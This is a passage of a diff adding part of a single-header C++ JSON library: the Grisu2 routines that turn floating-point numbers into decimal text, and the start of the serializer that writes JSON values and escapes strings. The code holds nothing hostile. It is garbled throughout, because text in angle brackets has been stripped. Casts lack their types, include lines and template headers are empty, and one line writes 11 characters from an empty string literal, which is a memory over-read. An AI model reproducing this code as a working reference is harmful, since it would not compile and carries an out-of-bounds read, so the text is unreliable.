int f = kAlpha - e - 1; + const int k = (f * 78913) / (1 << 18) + static_cast(f > 0); + + const int index = (-kCachedPowersMinDecExp + k + (kCachedPowersDecStep - 1)) / kCachedPowersDecStep; + JSON_ASSERT(index >= 0); + JSON_ASSERT(static_cast(index) < kCachedPowers.size()); + + const cached_power cached = kCachedPowers[static_cast(index)]; + JSON_ASSERT(kAlpha <= cached.e + e + 64); + JSON_ASSERT(kGamma >= cached.e + e + 64); + + return cached; +} + +/*! +For n != 0, returns k, such that pow10 := 10^(k-1) <= n < 10^k. +For n == 0, returns 1 and sets pow10 := 1. +*/ +inline int find_largest_pow10(const std::uint32_t n, std::uint32_t& pow10) +{ + // LCOV_EXCL_START + if (n >= 1000000000) + { + pow10 = 1000000000; + return 10; + } + // LCOV_EXCL_STOP + else if (n >= 100000000) + { + pow10 = 100000000; + return 9; + } + else if (n >= 10000000) + { + pow10 = 10000000; + return 8; + } + else if (n >= 1000000) + { + pow10 = 1000000; + return 7; + } + else if (n >= 100000) + { + pow10 = 100000; + return 6; + } + else if (n >= 10000) + { + pow10 = 10000; + return 5; + } + else if (n >= 1000) + { + pow10 = 1000; + return 4; + } + else if (n >= 100) + { + pow10 = 100; + return 3; + } + else if (n >= 10) + { + pow10 = 10; + return 2; + } + else + { + pow10 = 1; + return 1; + } +} + +inline void grisu2_round(char* buf, int len, std::uint64_t dist, std::uint64_t delta, + std::uint64_t rest, std::uint64_t ten_k) +{ + JSON_ASSERT(len >= 1); + JSON_ASSERT(dist <= delta); + JSON_ASSERT(rest <= delta); + JSON_ASSERT(ten_k > 0); + + // <--------------------------- delta ----> + // <---- dist ---------> + // --------------[------------------+-------------------]-------------- + // M- w M+ + // + // ten_k + // <------> + // <---- rest ----> + // --------------[------------------+----+--------------]-------------- + // w V + // = buf * 10^k + // + // ten_k represents a unit-in-the-last-place in the decimal representation + // stored in buf. + // Decrement buf by ten_k while this takes buf closer to w. + + // The tests are written in this order to avoid overflow in unsigned + // integer arithmetic. + + while (rest < dist + && delta - rest >= ten_k + && (rest + ten_k < dist || dist - rest > rest + ten_k - dist)) + { + JSON_ASSERT(buf[len - 1] != '0'); + buf[len - 1]--; + rest += ten_k; + } +} + +/*! +Generates V = buffer * 10^decimal_exponent, such that M- <= V <= M+. +M- and M+ must be normalized and share the same exponent -60 <= e <= -32. +*/ +inline void grisu2_digit_gen(char* buffer, int& length, int& decimal_exponent, + diyfp M_minus, diyfp w, diyfp M_plus) +{ + static_assert(kAlpha >= -60, "internal error"); + static_assert(kGamma <= -32, "internal error"); + + // Generates the digits (and the exponent) of a decimal floating-point + // number V = buffer * 10^decimal_exponent in the range [M-, M+]. The diyfp's + // w, M- and M+ share the same exponent e, which satisfies alpha <= e <= gamma. + // + // <--------------------------- delta ----> + // <---- dist ---------> + // --------------[------------------+-------------------]-------------- + // M- w M+ + // + // Grisu2 generates the digits of M+ from left to right and stops as soon as + // V is in [M-,M+]. + + JSON_ASSERT(M_plus.e >= kAlpha); + JSON_ASSERT(M_plus.e <= kGamma); + + std::uint64_t delta = diyfp::sub(M_plus, M_minus).f; // (significand of (M+ - M-), implicit exponent is e) + std::uint64_t dist = diyfp::sub(M_plus, w ).f; // (significand of (M+ - w ), implicit exponent is e) + + // Split M+ = f * 2^e into two parts p1 and p2 (note: e < 0): + // + // M+ = f * 2^e + // = ((f div 2^-e) * 2^-e + (f mod 2^-e)) * 2^e + // = ((p1 ) * 2^-e + (p2 )) * 2^e + // = p1 + p2 * 2^e + + const diyfp one(std::uint64_t{1} << -M_plus.e, M_plus.e); + + auto p1 = static_cast(M_plus.f >> -one.e); // p1 = f div 2^-e (Since -e >= 32, p1 fits into a 32-bit int.) + std::uint64_t p2 = M_plus.f & (one.f - 1); // p2 = f mod 2^-e + + // 1) + // + // Generate the digits of the integral part p1 = d[n-1]...d[1]d[0] + + JSON_ASSERT(p1 > 0); + + std::uint32_t pow10; + const int k = find_largest_pow10(p1, pow10); + + // 10^(k-1) <= p1 < 10^k, pow10 = 10^(k-1) + // + // p1 = (p1 div 10^(k-1)) * 10^(k-1) + (p1 mod 10^(k-1)) + // = (d[k-1] ) * 10^(k-1) + (p1 mod 10^(k-1)) + // + // M+ = p1 + p2 * 2^e + // = d[k-1] * 10^(k-1) + (p1 mod 10^(k-1)) + p2 * 2^e + // = d[k-1] * 10^(k-1) + ((p1 mod 10^(k-1)) * 2^-e + p2) * 2^e + // = d[k-1] * 10^(k-1) + ( rest) * 2^e + // + // Now generate the digits d[n] of p1 from left to right (n = k-1,...,0) + // + // p1 = d[k-1]...d[n] * 10^n + d[n-1]...d[0] + // + // but stop as soon as + // + // rest * 2^e = (d[n-1]...d[0] * 2^-e + p2) * 2^e <= delta * 2^e + + int n = k; + while (n > 0) + { + // Invariants: + // M+ = buffer * 10^n + (p1 + p2 * 2^e) (buffer = 0 for n = k) + // pow10 = 10^(n-1) <= p1 < 10^n + // + const std::uint32_t d = p1 / pow10; // d = p1 div 10^(n-1) + const std::uint32_t r = p1 % pow10; // r = p1 mod 10^(n-1) + // + // M+ = buffer * 10^n + (d * 10^(n-1) + r) + p2 * 2^e + // = (buffer * 10 + d) * 10^(n-1) + (r + p2 * 2^e) + // + JSON_ASSERT(d <= 9); + buffer[length++] = static_cast('0' + d); // buffer := buffer * 10 + d + // + // M+ = buffer * 10^(n-1) + (r + p2 * 2^e) + // + p1 = r; + n--; + // + // M+ = buffer * 10^n + (p1 + p2 * 2^e) + // pow10 = 10^n + // + + // Now check if enough digits have been generated. + // Compute + // + // p1 + p2 * 2^e = (p1 * 2^-e + p2) * 2^e = rest * 2^e + // + // Note: + // Since rest and delta share the same exponent e, it suffices to + // compare the significands. + const std::uint64_t rest = (std::uint64_t{p1} << -one.e) + p2; + if (rest <= delta) + { + // V = buffer * 10^n, with M- <= V <= M+. + + decimal_exponent += n; + + // We may now just stop. But instead look if the buffer could be + // decremented to bring V closer to w. + // + // pow10 = 10^n is now 1 ulp in the decimal representation V. + // The rounding procedure works with diyfp's with an implicit + // exponent of e. + // + // 10^n = (10^n * 2^-e) * 2^e = ulp * 2^e + // + const std::uint64_t ten_n = std::uint64_t{pow10} << -one.e; + grisu2_round(buffer, length, dist, delta, rest, ten_n); + + return; + } + + pow10 /= 10; + // + // pow10 = 10^(n-1) <= p1 < 10^n + // Invariants restored. + } + + // 2) + // + // The digits of the integral part have been generated: + // + // M+ = d[k-1]...d[1]d[0] + p2 * 2^e + // = buffer + p2 * 2^e + // + // Now generate the digits of the fractional part p2 * 2^e. + // + // Note: + // No decimal point is generated: the exponent is adjusted instead. + // + // p2 actually represents the fraction + // + // p2 * 2^e + // = p2 / 2^-e + // = d[-1] / 10^1 + d[-2] / 10^2 + ... + // + // Now generate the digits d[-m] of p1 from left to right (m = 1,2,...) + // + // p2 * 2^e = d[-1]d[-2]...d[-m] * 10^-m + // + 10^-m * (d[-m-1] / 10^1 + d[-m-2] / 10^2 + ...) + // + // using + // + // 10^m * p2 = ((10^m * p2) div 2^-e) * 2^-e + ((10^m * p2) mod 2^-e) + // = ( d) * 2^-e + ( r) + // + // or + // 10^m * p2 * 2^e = d + r * 2^e + // + // i.e. + // + // M+ = buffer + p2 * 2^e + // = buffer + 10^-m * (d + r * 2^e) + // = (buffer * 10^m + d) * 10^-m + 10^-m * r * 2^e + // + // and stop as soon as 10^-m * r * 2^e <= delta * 2^e + + JSON_ASSERT(p2 > delta); + + int m = 0; + for (;;) + { + // Invariant: + // M+ = buffer * 10^-m + 10^-m * (d[-m-1] / 10 + d[-m-2] / 10^2 + ...) * 2^e + // = buffer * 10^-m + 10^-m * (p2 ) * 2^e + // = buffer * 10^-m + 10^-m * (1/10 * (10 * p2) ) * 2^e + // = buffer * 10^-m + 10^-m * (1/10 * ((10*p2 div 2^-e) * 2^-e + (10*p2 mod 2^-e)) * 2^e + // + JSON_ASSERT(p2 <= (std::numeric_limits::max)() / 10); + p2 *= 10; + const std::uint64_t d = p2 >> -one.e; // d = (10 * p2) div 2^-e + const std::uint64_t r = p2 & (one.f - 1); // r = (10 * p2) mod 2^-e + // + // M+ = buffer * 10^-m + 10^-m * (1/10 * (d * 2^-e + r) * 2^e + // = buffer * 10^-m + 10^-m * (1/10 * (d + r * 2^e)) + // = (buffer * 10 + d) * 10^(-m-1) + 10^(-m-1) * r * 2^e + // + JSON_ASSERT(d <= 9); + buffer[length++] = static_cast('0' + d); // buffer := buffer * 10 + d + // + // M+ = buffer * 10^(-m-1) + 10^(-m-1) * r * 2^e + // + p2 = r; + m++; + // + // M+ = buffer * 10^-m + 10^-m * p2 * 2^e + // Invariant restored. + + // Check if enough digits have been generated. + // + // 10^-m * p2 * 2^e <= delta * 2^e + // p2 * 2^e <= 10^m * delta * 2^e + // p2 <= 10^m * delta + delta *= 10; + dist *= 10; + if (p2 <= delta) + { + break; + } + } + + // V = buffer * 10^-m, with M- <= V <= M+. + + decimal_exponent -= m; + + // 1 ulp in the decimal representation is now 10^-m. + // Since delta and dist are now scaled by 10^m, we need to do the + // same with ulp in order to keep the units in sync. + // + // 10^m * 10^-m = 1 = 2^-e * 2^e = ten_m * 2^e + // + const std::uint64_t ten_m = one.f; + grisu2_round(buffer, length, dist, delta, p2, ten_m); + + // By construction this algorithm generates the shortest possible decimal + // number (Loitsch, Theorem 6.2) which rounds back to w. + // For an input number of precision p, at least + // + // N = 1 + ceil(p * log_10(2)) + // + // decimal digits are sufficient to identify all binary floating-point + // numbers (Matula, "In-and-Out conversions"). + // This implies that the algorithm does not produce more than N decimal + // digits. + // + // N = 17 for p = 53 (IEEE double precision) + // N = 9 for p = 24 (IEEE single precision) +} + +/*! +v = buf * 10^decimal_exponent +len is the length of the buffer (number of decimal digits) +The buffer must be large enough, i.e. >= max_digits10. +*/ +JSON_HEDLEY_NON_NULL(1) +inline void grisu2(char* buf, int& len, int& decimal_exponent, + diyfp m_minus, diyfp v, diyfp m_plus) +{ + JSON_ASSERT(m_plus.e == m_minus.e); + JSON_ASSERT(m_plus.e == v.e); + + // --------(-----------------------+-----------------------)-------- (A) + // m- v m+ + // + // --------------------(-----------+-----------------------)-------- (B) + // m- v m+ + // + // First scale v (and m- and m+) such that the exponent is in the range + // [alpha, gamma]. + + const cached_power cached = get_cached_power_for_binary_exponent(m_plus.e); + + const diyfp c_minus_k(cached.f, cached.e); // = c ~= 10^-k + + // The exponent of the products is = v.e + c_minus_k.e + q and is in the range [alpha,gamma] + const diyfp w = diyfp::mul(v, c_minus_k); + const diyfp w_minus = diyfp::mul(m_minus, c_minus_k); + const diyfp w_plus = diyfp::mul(m_plus, c_minus_k); + + // ----(---+---)---------------(---+---)---------------(---+---)---- + // w- w w+ + // = c*m- = c*v = c*m+ + // + // diyfp::mul rounds its result and c_minus_k is approximated too. w, w- and + // w+ are now off by a small amount. + // In fact: + // + // w - v * 10^k < 1 ulp + // + // To account for this inaccuracy, add resp. subtract 1 ulp. + // + // --------+---[---------------(---+---)---------------]---+-------- + // w- M- w M+ w+ + // + // Now any number in [M-, M+] (bounds included) will round to w when input, + // regardless of how the input rounding algorithm breaks ties. + // + // And digit_gen generates the shortest possible such number in [M-, M+]. + // Note that this does not mean that Grisu2 always generates the shortest + // possible number in the interval (m-, m+). + const diyfp M_minus(w_minus.f + 1, w_minus.e); + const diyfp M_plus (w_plus.f - 1, w_plus.e ); + + decimal_exponent = -cached.k; // = -(-k) = k + + grisu2_digit_gen(buf, len, decimal_exponent, M_minus, w, M_plus); +} + +/*! +v = buf * 10^decimal_exponent +len is the length of the buffer (number of decimal digits) +The buffer must be large enough, i.e. >= max_digits10. +*/ +template +JSON_HEDLEY_NON_NULL(1) +void grisu2(char* buf, int& len, int& decimal_exponent, FloatType value) +{ + static_assert(diyfp::kPrecision >= std::numeric_limits::digits + 3, + "internal error: not enough precision"); + + JSON_ASSERT(std::isfinite(value)); + JSON_ASSERT(value > 0); + + // If the neighbors (and boundaries) of 'value' are always computed for double-precision + // numbers, all float's can be recovered using strtod (and strtof). However, the resulting + // decimal representations are not exactly "short". + // + // The documentation for 'std::to_chars' (https://en.cppreference.com/w/cpp/utility/to_chars) + // says "value is converted to a string as if by std::sprintf in the default ("C") locale" + // and since sprintf promotes float's to double's, I think this is exactly what 'std::to_chars' + // does. + // On the other hand, the documentation for 'std::to_chars' requires that "parsing the + // representation using the corresponding std::from_chars function recovers value exactly". That + // indicates that single precision floating-point numbers should be recovered using + // 'std::strtof'. + // + // NB: If the neighbors are computed for single-precision numbers, there is a single float + // (7.0385307e-26f) which can't be recovered using strtod. The resulting double precision + // value is off by 1 ulp. +#if 0 + const boundaries w = compute_boundaries(static_cast(value)); +#else + const boundaries w = compute_boundaries(value); +#endif + + grisu2(buf, len, decimal_exponent, w.minus, w.w, w.plus); +} + +/*! +@brief appends a decimal representation of e to buf +@return a pointer to the element following the exponent. +@pre -1000 < e < 1000 +*/ +JSON_HEDLEY_NON_NULL(1) +JSON_HEDLEY_RETURNS_NON_NULL +inline char* append_exponent(char* buf, int e) +{ + JSON_ASSERT(e > -1000); + JSON_ASSERT(e < 1000); + + if (e < 0) + { + e = -e; + *buf++ = '-'; + } + else + { + *buf++ = '+'; + } + + auto k = static_cast(e); + if (k < 10) + { + // Always print at least two digits in the exponent. + // This is for compatibility with printf("%g"). + *buf++ = '0'; + *buf++ = static_cast('0' + k); + } + else if (k < 100) + { + *buf++ = static_cast('0' + k / 10); + k %= 10; + *buf++ = static_cast('0' + k); + } + else + { + *buf++ = static_cast('0' + k / 100); + k %= 100; + *buf++ = static_cast('0' + k / 10); + k %= 10; + *buf++ = static_cast('0' + k); + } + + return buf; +} + +/*! +@brief prettify v = buf * 10^decimal_exponent + +If v is in the range [10^min_exp, 10^max_exp) it will be printed in fixed-point +notation. Otherwise it will be printed in exponential notation. + +@pre min_exp < 0 +@pre max_exp > 0 +*/ +JSON_HEDLEY_NON_NULL(1) +JSON_HEDLEY_RETURNS_NON_NULL +inline char* format_buffer(char* buf, int len, int decimal_exponent, + int min_exp, int max_exp) +{ + JSON_ASSERT(min_exp < 0); + JSON_ASSERT(max_exp > 0); + + const int k = len; + const int n = len + decimal_exponent; + + // v = buf * 10^(n-k) + // k is the length of the buffer (number of decimal digits) + // n is the position of the decimal point relative to the start of the buffer. + + if (k <= n && n <= max_exp) + { + // digits[000] + // len <= max_exp + 2 + + std::memset(buf + k, '0', static_cast(n) - static_cast(k)); + // Make it look like a floating-point number (#362, #378) + buf[n + 0] = '.'; + buf[n + 1] = '0'; + return buf + (static_cast(n) + 2); + } + + if (0 < n && n <= max_exp) + { + // dig.its + // len <= max_digits10 + 1 + + JSON_ASSERT(k > n); + + std::memmove(buf + (static_cast(n) + 1), buf + n, static_cast(k) - static_cast(n)); + buf[n] = '.'; + return buf + (static_cast(k) + 1U); + } + + if (min_exp < n && n <= 0) + { + // 0.[000]digits + // len <= 2 + (-min_exp - 1) + max_digits10 + + std::memmove(buf + (2 + static_cast(-n)), buf, static_cast(k)); + buf[0] = '0'; + buf[1] = '.'; + std::memset(buf + 2, '0', static_cast(-n)); + return buf + (2U + static_cast(-n) + static_cast(k)); + } + + if (k == 1) + { + // dE+123 + // len <= 1 + 5 + + buf += 1; + } + else + { + // d.igitsE+123 + // len <= max_digits10 + 1 + 5 + + std::memmove(buf + 2, buf + 1, static_cast(k) - 1); + buf[1] = '.'; + buf += 1 + static_cast(k); + } + + *buf++ = 'e'; + return append_exponent(buf, n - 1); +} + +} // namespace dtoa_impl + +/*! +@brief generates a decimal representation of the floating-point number value in [first, last). + +The format of the resulting decimal representation is similar to printf's %g +format. Returns an iterator pointing past-the-end of the decimal representation. + +@note The input number must be finite, i.e. NaN's and Inf's are not supported. +@note The buffer must be large enough. +@note The result is NOT null-terminated. +*/ +template +JSON_HEDLEY_NON_NULL(1, 2) +JSON_HEDLEY_RETURNS_NON_NULL +char* to_chars(char* first, const char* last, FloatType value) +{ + static_cast(last); // maybe unused - fix warning + JSON_ASSERT(std::isfinite(value)); + + // Use signbit(value) instead of (value < 0) since signbit works for -0. + if (std::signbit(value)) + { + value = -value; + *first++ = '-'; + } + + if (value == 0) // +-0 + { + *first++ = '0'; + // Make it look like a floating-point number (#362, #378) + *first++ = '.'; + *first++ = '0'; + return first; + } + + JSON_ASSERT(last - first >= std::numeric_limits::max_digits10); + + // Compute v = buffer * 10^decimal_exponent. + // The decimal digits are stored in the buffer, which needs to be interpreted + // as an unsigned decimal integer. + // len is the length of the buffer, i.e. the number of decimal digits. + int len = 0; + int decimal_exponent = 0; + dtoa_impl::grisu2(first, len, decimal_exponent, value); + + JSON_ASSERT(len <= std::numeric_limits::max_digits10); + + // Format the buffer like printf("%.*g", prec, value) + constexpr int kMinExp = -4; + // Use digits10 here to increase compatibility with version 2. + constexpr int kMaxExp = std::numeric_limits::digits10; + + JSON_ASSERT(last - first >= kMaxExp + 2); + JSON_ASSERT(last - first >= 2 + (-kMinExp - 1) + std::numeric_limits::max_digits10); + JSON_ASSERT(last - first >= std::numeric_limits::max_digits10 + 6); + + return dtoa_impl::format_buffer(first, len, decimal_exponent, kMinExp, kMaxExp); +} + +} // namespace detail +} // namespace nlohmann + +// #include + +// #include + +// #include + +// #include + +// #include + +// #include + + +namespace nlohmann +{ +namespace detail +{ +/////////////////// +// serialization // +/////////////////// + +/// how to treat decoding errors +enum class error_handler_t +{ + strict, ///< throw a type_error exception in case of invalid UTF-8 + replace, ///< replace invalid UTF-8 sequences with U+FFFD + ignore ///< ignore invalid UTF-8 sequences +}; + +template +class serializer +{ + using string_t = typename BasicJsonType::string_t; + using number_float_t = typename BasicJsonType::number_float_t; + using number_integer_t = typename BasicJsonType::number_integer_t; + using number_unsigned_t = typename BasicJsonType::number_unsigned_t; + using binary_char_t = typename BasicJsonType::binary_t::value_type; + static constexpr std::uint8_t UTF8_ACCEPT = 0; + static constexpr std::uint8_t UTF8_REJECT = 1; + + public: + /*! + @param[in] s output stream to serialize to + @param[in] ichar indentation character to use + @param[in] error_handler_ how to react on decoding errors + */ + serializer(output_adapter_t s, const char ichar, + error_handler_t error_handler_ = error_handler_t::strict) + : o(std::move(s)) + , loc(std::localeconv()) + , thousands_sep(loc->thousands_sep == nullptr ? '\0' : std::char_traits::to_char_type(* (loc->thousands_sep))) + , decimal_point(loc->decimal_point == nullptr ? '\0' : std::char_traits::to_char_type(* (loc->decimal_point))) + , indent_char(ichar) + , indent_string(512, indent_char) + , error_handler(error_handler_) + {} + + // delete because of pointer members + serializer(const serializer&) = delete; + serializer& operator=(const serializer&) = delete; + serializer(serializer&&) = delete; + serializer& operator=(serializer&&) = delete; + ~serializer() = default; + + /*! + @brief internal implementation of the serialization function + + This function is called by the public member function dump and organizes + the serialization internally. The indentation level is propagated as + additional parameter. In case of arrays and objects, the function is + called recursively. + + - strings and object keys are escaped using `escape_string()` + - integer numbers are converted implicitly via `operator<<` + - floating-point numbers are converted to a string using `"%g"` format + - binary values are serialized as objects containing the subtype and the + byte array + + @param[in] val value to serialize + @param[in] pretty_print whether the output shall be pretty-printed + @param[in] ensure_ascii If @a ensure_ascii is true, all non-ASCII characters + in the output are escaped with `\uXXXX` sequences, and the result consists + of ASCII characters only. + @param[in] indent_step the indent level + @param[in] current_indent the current indent level (only used internally) + */ + void dump(const BasicJsonType& val, + const bool pretty_print, + const bool ensure_ascii, + const unsigned int indent_step, + const unsigned int current_indent = 0) + { + switch (val.m_type) + { + case value_t::object: + { + if (val.m_value.object->empty()) + { + o->write_characters("{}", 2); + return; + } + + if (pretty_print) + { + o->write_characters("{\n", 2); + + // variable to hold indentation for recursive calls + const auto new_indent = current_indent + indent_step; + if (JSON_HEDLEY_UNLIKELY(indent_string.size() < new_indent)) + { + indent_string.resize(indent_string.size() * 2, ' '); + } + + // first n-1 elements + auto i = val.m_value.object->cbegin(); + for (std::size_t cnt = 0; cnt < val.m_value.object->size() - 1; ++cnt, ++i) + { + o->write_characters(indent_string.c_str(), new_indent); + o->write_character('\"'); + dump_escaped(i->first, ensure_ascii); + o->write_characters("\": ", 3); + dump(i->second, true, ensure_ascii, indent_step, new_indent); + o->write_characters(",\n", 2); + } + + // last element + JSON_ASSERT(i != val.m_value.object->cend()); + JSON_ASSERT(std::next(i) == val.m_value.object->cend()); + o->write_characters(indent_string.c_str(), new_indent); + o->write_character('\"'); + dump_escaped(i->first, ensure_ascii); + o->write_characters("\": ", 3); + dump(i->second, true, ensure_ascii, indent_step, new_indent); + + o->write_character('\n'); + o->write_characters(indent_string.c_str(), current_indent); + o->write_character('}'); + } + else + { + o->write_character('{'); + + // first n-1 elements + auto i = val.m_value.object->cbegin(); + for (std::size_t cnt = 0; cnt < val.m_value.object->size() - 1; ++cnt, ++i) + { + o->write_character('\"'); + dump_escaped(i->first, ensure_ascii); + o->write_characters("\":", 2); + dump(i->second, false, ensure_ascii, indent_step, current_indent); + o->write_character(','); + } + + // last element + JSON_ASSERT(i != val.m_value.object->cend()); + JSON_ASSERT(std::next(i) == val.m_value.object->cend()); + o->write_character('\"'); + dump_escaped(i->first, ensure_ascii); + o->write_characters("\":", 2); + dump(i->second, false, ensure_ascii, indent_step, current_indent); + + o->write_character('}'); + } + + return; + } + + case value_t::array: + { + if (val.m_value.array->empty()) + { + o->write_characters("[]", 2); + return; + } + + if (pretty_print) + { + o->write_characters("[\n", 2); + + // variable to hold indentation for recursive calls + const auto new_indent = current_indent + indent_step; + if (JSON_HEDLEY_UNLIKELY(indent_string.size() < new_indent)) + { + indent_string.resize(indent_string.size() * 2, ' '); + } + + // first n-1 elements + for (auto i = val.m_value.array->cbegin(); + i != val.m_value.array->cend() - 1; ++i) + { + o->write_characters(indent_string.c_str(), new_indent); + dump(*i, true, ensure_ascii, indent_step, new_indent); + o->write_characters(",\n", 2); + } + + // last element + JSON_ASSERT(!val.m_value.array->empty()); + o->write_characters(indent_string.c_str(), new_indent); + dump(val.m_value.array->back(), true, ensure_ascii, indent_step, new_indent); + + o->write_character('\n'); + o->write_characters(indent_string.c_str(), current_indent); + o->write_character(']'); + } + else + { + o->write_character('['); + + // first n-1 elements + for (auto i = val.m_value.array->cbegin(); + i != val.m_value.array->cend() - 1; ++i) + { + dump(*i, false, ensure_ascii, indent_step, current_indent); + o->write_character(','); + } + + // last element + JSON_ASSERT(!val.m_value.array->empty()); + dump(val.m_value.array->back(), false, ensure_ascii, indent_step, current_indent); + + o->write_character(']'); + } + + return; + } + + case value_t::string: + { + o->write_character('\"'); + dump_escaped(*val.m_value.string, ensure_ascii); + o->write_character('\"'); + return; + } + + case value_t::binary: + { + if (pretty_print) + { + o->write_characters("{\n", 2); + + // variable to hold indentation for recursive calls + const auto new_indent = current_indent + indent_step; + if (JSON_HEDLEY_UNLIKELY(indent_string.size() < new_indent)) + { + indent_string.resize(indent_string.size() * 2, ' '); + } + + o->write_characters(indent_string.c_str(), new_indent); + + o->write_characters("\"bytes\": [", 10); + + if (!val.m_value.binary->empty()) + { + for (auto i = val.m_value.binary->cbegin(); + i != val.m_value.binary->cend() - 1; ++i) + { + dump_integer(*i); + o->write_characters(", ", 2); + } + dump_integer(val.m_value.binary->back()); + } + + o->write_characters("],\n", 3); + o->write_characters(indent_string.c_str(), new_indent); + + o->write_characters("\"subtype\": ", 11); + if (val.m_value.binary->has_subtype()) + { + dump_integer(val.m_value.binary->subtype()); + } + else + { + o->write_characters("null", 4); + } + o->write_character('\n'); + o->write_characters(indent_string.c_str(), current_indent); + o->write_character('}'); + } + else + { + o->write_characters("{\"bytes\":[", 10); + + if (!val.m_value.binary->empty()) + { + for (auto i = val.m_value.binary->cbegin(); + i != val.m_value.binary->cend() - 1; ++i) + { + dump_integer(*i); + o->write_character(','); + } + dump_integer(val.m_value.binary->back()); + } + + o->write_characters("],\"subtype\":", 12); + if (val.m_value.binary->has_subtype()) + { + dump_integer(val.m_value.binary->subtype()); + o->write_character('}'); + } + else + { + o->write_characters("null}", 5); + } + } + return; + } + + case value_t::boolean: + { + if (val.m_value.boolean) + { + o->write_characters("true", 4); + } + else + { + o->write_characters("false", 5); + } + return; + } + + case value_t::number_integer: + { + dump_integer(val.m_value.number_integer); + return; + } + + case value_t::number_unsigned: + { + dump_integer(val.m_value.number_unsigned); + return; + } + + case value_t::number_float: + { + dump_float(val.m_value.number_float); + return; + } + + case value_t::discarded: + { + o->write_characters("", 11); + return; + } + + case value_t::null: + { + o->write_characters("null", 4); + return; + } + + default: // LCOV_EXCL_LINE + JSON_ASSERT(false); // LCOV_EXCL_LINE + } + } + + JSON_PRIVATE_UNLESS_TESTED: + /*! + @brief dump escaped string + + Escape a string by replacing certain special characters by a sequence of an + escape character (backslash) and another character and other control + characters by a sequence of "\u" followed by a four-digit hex + representation. The escaped string is written to output stream @a o. + + @param[in] s the string to escape + @param[in] ensure_ascii whether to escape non-ASCII characters with + \uXXXX sequences + + @complexity Linear in the length of string @a s. + */ + void dump_escaped(const string_t& s, const bool ensure_ascii) + { + std::uint32_t codepoint; + std::uint8_t state = UTF8_ACCEPT; + std::size_t bytes = 0; // number of bytes written to string_buffer + + // number of bytes written at the point of the last valid byte + std::size_t bytes_after_last_accept = 0; + std::size_t undumped_chars = 0; + + for (std::size_t i = 0; i < s.size(); ++i) + { + const auto byte = static_cast(s[i]); + + switch (decode(state, codepoint, byte)) + { + case UTF8_ACCEPT: // decode found a new code point + { + switch (codepoint) + { + case 0x08: // backspace + { + string_buffer[bytes++] = '\\'; + string_buffer[bytes++] = 'b'; + break; + } + + case 0x09: // horizontal tab + { + string_buffer[bytes++] = '\\'; + string_buffer[bytes++] = 't'; + break; + } + + case 0x0A: // newline + { + string_buffer[bytes++] = '\\'; + string_buffer[bytes++] = 'n'; + break; + } + + case 0x0C: // formfeed + { + string_buffer[bytes++] = '\\'; + string_buffer[bytes++] = 'f'; + break; + } + + case 0x0D: // carriage return + { + string_buffer[bytes++] = '\\'; + string_buffer[bytes++] = 'r'; + break; + } + + case 0x22: // quotation mark + { + string_buffer[bytes++] = '\\'; + string_buffer[bytes++] = '\"'; + break; + } + + case 0x5C: // reverse solidus + { + string_buffer[bytes++] = '\\'; + string_buffer[bytes++] = '\\'; + break; + } + + default: + { + // escape control characters (0x00..0x1F) or, if + // ensure_ascii parameter is used, non-ASCII characters + if ((codepoint <= 0x1F) || (ensure_ascii && (codepoint >= 0x7F))) + { + if (codepoint <= 0xFFFF) + { + (snprintf)(string_buffer.data() + bytes, 7, "\\u%04x", + static_cast(codepoint)); + bytes += 6; + } + else + { + (snprintf)(string_buffer.data() + bytes, 13, "\\u%04x\\u%04x", + static_cast(0xD7C0u + (codepoint >> 10u)), + static_cast(0xDC00u + (codepoint & 0x3FFu))); + bytes += 12; + } + } + else + { + // copy byte to buffer (all previous bytes + // been copied have in default case above) + string_buffer[bytes++] = s[i]; + } + break; + } + } + + // write buffer and reset index; there must be 13 bytes + // left, as this is the maximal number of bytes to be + // written ("\uxxxx\uxxxx\0") for one code point + if (string_buffer.size() - bytes < 13) + { + o->write_characters(string_buffer.data(), bytes); + bytes = 0; + } + + // remember the byte position of this accept + bytes_after_last_accept = bytes; + undumped_chars = 0; + break; + } + + case UTF8_REJECT: // decode found invalid UTF-8 byte + { + switch (error_handler) + { + case error_handler_t::strict: + { + std::string sn(3, '\0'); + (snprintf)(&sn[0], sn.size(), "%.2X", byte); + JSON_THROW(type_error::create(316, "invalid UTF-8 byte at index " + std::to_string(i) + ": 0x" + sn)); + } + + case error_handler_t::ignore: + case error_handler_t::replace: + { + // in case we saw this character the first time, we + // would like to read it again, because the byte + // may be OK for itself, but just not OK for the + // previous sequence + if (undumped_chars > 0) + { + --i; + } + + // reset length buffer to the last accepted index; + // thus removing/ignoring the invalid characters + bytes = bytes_after_last_accept; + + if (error_handler == error_handler_t::replace) + { + // add a replacement character + if (ensure_ascii) + { + string_buffer[bytes++] = '\\'; + string_buffer[bytes++] = 'u'; + string_buffer[bytes++] = 'f'; + string_buffer[bytes++] = 'f'; + string_buffer[bytes++] = 'f'; + string_buffer[bytes++] = 'd'; + } + else + { + string_buffer[bytes++] = detail::binary_writer::to_char_type('\xEF'); + string_buffer[bytes++] = detail::binary_writer::to_char_type('\xBF'); + string_buffer[bytes++] = detail::binary_writer::to_char_type('\xBD'); + } + + // write buffer and reset index; there must be 13 bytes + // left, as this is the maximal number of bytes to be + // written ("\uxxxx\uxxxx\0") for one code point + if (string_buffer.size() - bytes < 13) + { + o->write_characters(string_buffer.data(), bytes); + bytes = 0; + } + + bytes_after_last_accept = bytes; + } + + undumped_chars = 0; + + // continue processing the string + state = UTF8_ACCEPT; + break; + } + + default: // LCOV_EXCL_LINE + JSON_ASSERT(false); // LCOV_EXCL_LINE + } + break; + } + + default: // decode found yet incomplete multi-byte code point + { + if (!ensure_ascii) + { + // code point will not be escaped - copy byte to buffer + string_buffer[bytes++] = s[i]; + } + ++undumped_chars; + break; + } + } + } + + // we finished processing the string + if (JSON_HEDLEY_LIKELY(state == UTF8_ACCEPT)) + { + // write buffer + if (bytes > 0) + { + o->write_characters(string_buffer.data(), bytes); + } + } + else + { + // we finish reading, but do not accept: string was incomplete + switch (error_handler) + { + case error_handler_t::strict: + { + std::string sn(3, '\0'); + (snprintf)(&sn[0], sn.size(), "%.2X", static_cast(s.back())); + JSON_THROW(type_error::create(316, "incomplete UTF-8 string; last byte: 0x" + sn)); + } + + case error_handler_t::ignore: + { + // write all accepted bytes + o->write_characters(string_buffer.data(), bytes_after_last_accept); + break; + } + + case error_handler_t::replace: + { + // write all accepted bytes + o->write_characters(string_buffer.data(), bytes_after_last_accept); + // add a replacement character + if (ensure_ascii) + { + o->write_characters("\\ufffd", 6); + } + else + { + o->write_characters("\xEF\xBF\xBD", 3); + } + break; + } + + default: // LCOV_EXCL_LINE + JSON_ASSERT(false); // 